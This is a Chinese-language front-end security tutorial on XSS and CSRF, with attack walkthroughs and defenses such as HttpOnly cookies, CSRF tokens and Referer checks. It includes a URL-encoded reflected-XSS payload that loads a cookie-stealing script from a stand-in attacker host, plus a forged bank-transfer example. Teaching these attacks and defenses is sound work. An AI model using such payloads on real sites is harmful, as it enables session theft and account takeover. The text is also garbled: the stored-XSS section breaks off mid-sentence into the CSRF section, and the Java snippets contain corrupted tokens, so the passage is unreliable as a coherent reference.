JS的33个概念—前端安全(跨站脚本攻击XSS和跨站请求伪造CSRF)

1.跨站脚本攻击(XSS)

1)定义

跨站脚本攻击是基于web应用中已知的漏洞,服务端,或者依赖的插件系统。利用其中一种方式,攻击者可以把恶意内容放进目标站点传输的内容中。当这种结合的内容到达客户端的浏览器中,它就已经变成从受信任的来源传输的,然后在系统授权下进行操作。通过寻找把恶意脚本注入web页面的方法,攻击者可以获取对敏感页面的访问权限,例如对session cookie和浏览器代表用户维护的其他信息。跨站脚本攻击是代码注入的一种方式。

2)概念

反射型,存储型,基于DOM三种。

反射型

到目前为止,非持久型(反射型)跨站脚本漏洞是最基本的web漏洞。当web客户端提供数据时,就会出现这种漏洞,常见于HTTP查询参数(例如,HTML表单提交),服务端脚本在没有正确过滤请求时,就立即解析并展示页面结果给用户。

因为html文档是流式结构并且混合了控制状态,格式化,真实内容,结果页面中包含的任何未经验证的用户提交数据,如果没有正确的进行html编码,都有可能导致标签注入。一个典型例子是一个网站搜索引擎:如果搜索了一个字符串,这个搜索字符串通常会在搜索页再显示一次,告诉用户搜索了什么。如果响应没有正确忽略或者拒绝html控制字符串,跨站脚本风险随之而来。

一次反射型攻击通常通过邮件或者中立的站点来实施。诱饵通常是一个看起来安全的url,指向一个受信任的站点,但是包含XSS载体。如果受信任的站点容易受到载体影响,点击这个链接可能会导致受害者的浏览器执行注入脚本。

持久型

持久型(又称存储型)XSS漏洞是一种更有破坏性的跨站脚本缺陷的变种:当攻击者提供的数据保存到了服务端,然后永久的显示在“正常”页面,并且其他用户在浏览器是可以看到,如果这些数据没有经过正确的html编码,就会发生这种攻击。一个典型的例子就是在线留言板,允许用户发布html格式的信息,可以让其他用户看到。

例如,假设有一个数据站点,其中的会员浏览了其他会员的信息,看下是否感兴趣。由于隐私的原因,这个站点会隐藏每个用户的真实姓名和email,这些信息加密保存在服务端,只有当会员登录后才能在浏览器中看到自己真实的姓名和email,但是不能查看其他人的。

假设有一个攻击者,加入了这个站点,并且想要估算出他在站点上看到的用户的真实姓名。要做到这一点,他写了一段脚本,目的是当其他用户看他的个人信息时可以在其他人的浏览器上运行。然后这段脚本发送信息到他自己的服务器,然后就可以搜集这些信息。

为了这么做,对于“描述你的第一次约会”这样问题,攻击者给了一个简短答案(看起来很正常),但是在攻击者答案的最后是一段窃取姓名和email的脚本,如果脚本内嵌在",
1.出现一个alert弹窗(提示"xss")。
2.页面显示"没有找到",然后一个错误的消息提示'xss'。
3.url变成了"http://bobssite.org?q=alert('xss');"——这是可以利用的行为。

  • Mallory伪造了一个URL来利用这种漏洞:

    1. 她创建了一个URLhttp://bobssite.org?q=puppies。她可以选择把ASCII字符串转成十六进制格式,例如:http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E,所以当被人看到时无法立马识别这个恶意URL。
    2. 她给Bob站点的一些信任用户发送一封邮件,告诉他们"查收可爱的狗狗!"
  • Alic收到了这封邮件,她喜欢狗狗,然后点击了这个链接。然后跳转到Bob站点的搜索页,没有找到任何东西,只是显示了"没有找到狗狗",然后脚本标签执行了,载入了Mallory的脚本authstealer.js(触发了XSS攻击).Alice忘记了这个。

  • authstealer.js脚本在Alice的浏览器中执行了,就好像它是从Bob的站点加载的。它抓取了Alice的授权Cookie,然后把它发送到Mallory的服务器,然后Mallory获取到它。

  • Mallory现在把Alice的授权Cookie放进她自己的浏览器,就好像它是自己的一样。然后她打开Bob的站点,以Alice的身份登录了。

  • 登录之后,Mallory进入账单模块,找到Alice的信用卡号码,然后拷贝了一。然后她更改了密码,这样Alice就不能再登录了。

  • 她决定更进一步,发送一个相似的链接给Bob自己,为了获取管理员权限。

  • 可以通过以下几件事情来降低这种攻击风险:

    • 搜索框有正确的编码检查。

    • 服务端设置成重定向无效请求。

    • 服务端可以检测到同时登陆,然后失效session。

    • 服务端检测来自不同IP地址的同时登陆,然后失效session。

    • 站点可以只显示用户使用的信用卡后几位数字。

    • 在更改注册信息时,站点要求用户再次输入密码。

    • 站点可以制定不同方面的内容安全策略。

    • 教育用户不要点击看起来良好,但实际恶意的链接。

    • 把cookie设置成HttpOnly,阻止js获取。

    存储型(持久型攻击)

    1. Mallory获取了Bob站点上的一个账号。

    2. Mallory观察发现Bob的站点包含一个存储型XSS漏洞。如果去新闻版块,然后发表一条评论,无论他在评论区输入什么都会被显示出来。但是如果评论文本包含HTML标签,标签将会按照原本要显示的方式显示出来的话,任意的script标签都可以运行。

    3. Mallory在新闻版本读了一条新闻,然后再评论区增加了一条评论。在评论内容中,她插入了这样的文本:I love the puppies in this story! They're so cute!

      如果你此时恰好登录了银行A,且没有登出,当你打开上述页面后,脚本会将表单aaa提交,把accountNum和money参数传递给银行的转账地址http://www.xxx.com/transfer.do,同样的,银行以为是你发起的一次转账会从你的账户中扣除10000块。
      当然,以上只是举例,正常来说银行的交易付款会有USB key、验证码、登录密码和支付密码等一系列屏障,流程比上述流程复杂得多,因此安全系数也高得多。

      1.3、CSRF的防御

      1、尽量使用POST,限制GET
      GET接口太容易被拿来做CSRF攻击,看上面示例就知道,只要构造一个img标签,而img标签又是不能过滤的数据。接口最好限制为POST使用,GET则无效,降低攻击风险。
      当然POST并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。
      2、将cookie设置为HttpOnly
      CRSF攻击很大程度上是利用了浏览器的cookie,为了防止站内的XSS漏洞盗取cookie,需要在cookie中设置“HttpOnly”属性,这样通过程序(如JavaScript脚本、Applet等)就无法读取到cookie信息,避免了攻击者伪造cookie的情况出现。
      在Java的Servlet的API中设置cookie为HttpOnly的代码如下:
      response.setHeader( "Set-Cookie", "cookiename=cookievalue;HttpOnly");
      3、增加token
      CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于cookie中,因此攻击者可以在不知道用户验证信息的情况下直接利用用户的cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信总不存在于cookie之中。鉴于此,系统开发人员可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。
      假设请求通过POST方式提交,则可以在相应的表单中增加一个隐藏域:

      token的值通过服务端生成,表单提交后token的值通过POST请求与参数一同带到服务端,每次会话可以使用相同的token,会话过期,则token失效,攻击者因无法获取到token,也就无法伪造请求。
      在session中添加token的实现代码:

      HttpSession session = request.getSession();
      Object token = session.getAttribute("_token");
      if(token == null I I "".equals(token)) {
          session.setAttribute("_token", UUID.randomUUIDO .toString());
      }
      

      4、通过Referer识别
      根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限的页面的请求都来自于同一个网站。比如某银行的转账是通过用户访问http://www.xxx.com/transfer.do页面完成的,用户必须先登录www.xxx.com,然后通过单击页面上的提交按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是
      提交按钮所在页面的URL(本例为www.xxx. com/transfer.do)。如果攻击者要对银行网站实施CSRF攻击,他只能在其他网站构造请求,当用户通过其他网站发送请求到银行时,该请求的Referer的值是其他网站的地址,而不是银行转账页面的地址。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值即可,如果是以www.xx.om域名开头的地址,则说明该请求是来自银行网站自己的请求,是合法的;如果Referer是其他网站,就有可能是CSRF攻击,则拒绝该请求。
      取得HTTP请求Referer:
      String referer = request.getHeader("Referer");

      2)延伸

      CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。
      并且CSRF攻击问题一般是由服务端解决。
      注:文章大部分内容来源于《大型分布式网站架构 设计与实践》一书。

      3)思考

      Q:在上面的例子中,cookie通常是不能跨域访问的,那为什么会有csrf攻击?csrf说用户访问了A网站,然后又访问恶意网站B, B中也发送请求到A,携带A站的cookie,这样就构成了csrf。可是cookie好像是不支持跨域的吧?

      A:浏览器会依据加载的域名附带上对应域名cookie,又不是发送b站的cookie。

      就是如果用户在a站登录了生成了授权的cookie之类的,然后访问b站,b站故意构造请求a站的请求,如删除操作之类的,用script,img或者iframe之类的加载a站着个地址,浏览器会附带上a站此登录用户的授权cookie信息,这样就构成crsf,会删除掉当前用户的数据

      本文参考《安全|常见的Web攻击手段之CSRF攻击》和《前端必备HTTP技能之跨站脚本攻击(XSS)技术详解》这两篇文章

    你可能感兴趣的:(JS的33个概念)